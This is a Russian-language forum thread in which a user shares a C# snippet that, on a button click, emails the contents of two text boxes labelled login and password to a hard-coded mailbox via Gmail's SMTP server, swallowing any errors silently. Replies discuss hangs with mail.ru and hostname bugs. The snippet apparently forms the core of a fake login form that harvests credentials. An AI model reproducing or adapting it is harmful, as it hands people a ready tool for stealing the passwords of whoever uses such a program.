Загрузка...

Код отправки на почту по нажатию на кнопку. C#

Тема в разделе C# создана пользователем RocsLab 16 июл 2016. 795 просмотров

Загрузка...
  1. RocsLab
    RocsLab Автор темы 16 июл 2016 Заблокирован(а) 356 9 май 2016
    Код

    {
    var client = new SmtpClient("smtp.gmail.com", 587); // тут водим smtp ящика для mail.ru это smtp.mail.ru даль порт по которому будет идти подключение
    var credential = new NetworkCredential("Маил", "Пароль"); // Логин, пароль от почты отправителя
    client.Credentials = credential;
    client.EnableSsl = true;
    client.DeliveryMethod = SmtpDeliveryMethod.Network;

    string msgFrom = "Маил"; // Почта отсылки
    string msgTo = "Почта"; // Почта куда отпровляем
    string msgSubject = "Название"; // Тут вводим название письма
    string msgBody = String.Format("Текст\n\n {0}\nЛогин: {1}\nПароль: {2}", ToString(), textBox1.Text, textBox2.Text);
    MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
    try
    {
    client.Send(msg);
    }
    catch { }
    }



    }
    }
    И не забудьте использовать System.Net и System.Net.Mail иначе у вас будут ошибки.
    И да, код не нужно вставлять в главную форму.
    Его нужно вставлять в действие кнопки, то есть нажатие
    Чтобы перейти к коду кнопки нужно нажать на нее fast Click'ом или же 2 раза.
    Потом вы попадете к коду кнопки.
    Код вставлять после значения private void button1_Click(object sender, EventArgs e)
    Ну вообщем после ввода данных и нажатия на кнопку нам приходит такое письмо.
    [IMG]
     
    16 июл 2016 Изменено
  2. RaysMorgan
    @GameRocs, пытаюсь отправить через сервер mail.ru, софт тупо зависает
     
  3. vlad.Haisenberg
    vlad.Haisenberg 20 июл 2016 Заблокирован(а) 49 18 июл 2016
    НОРМАС)
     
  4. iPro_inactive
    iPro_inactive 21 июл 2016 Заблокирован(а) 30 15 июн 2016
    Это не будет работать, если в локальном доменном имени ПК будет кириллица, помоему такая херня с 7-ой винды и вроде как не пофиксили
     
  5. RaysMorgan
    iPro_inactive, фифа 15 не работает по этой же причине =)
    Привет
     
Top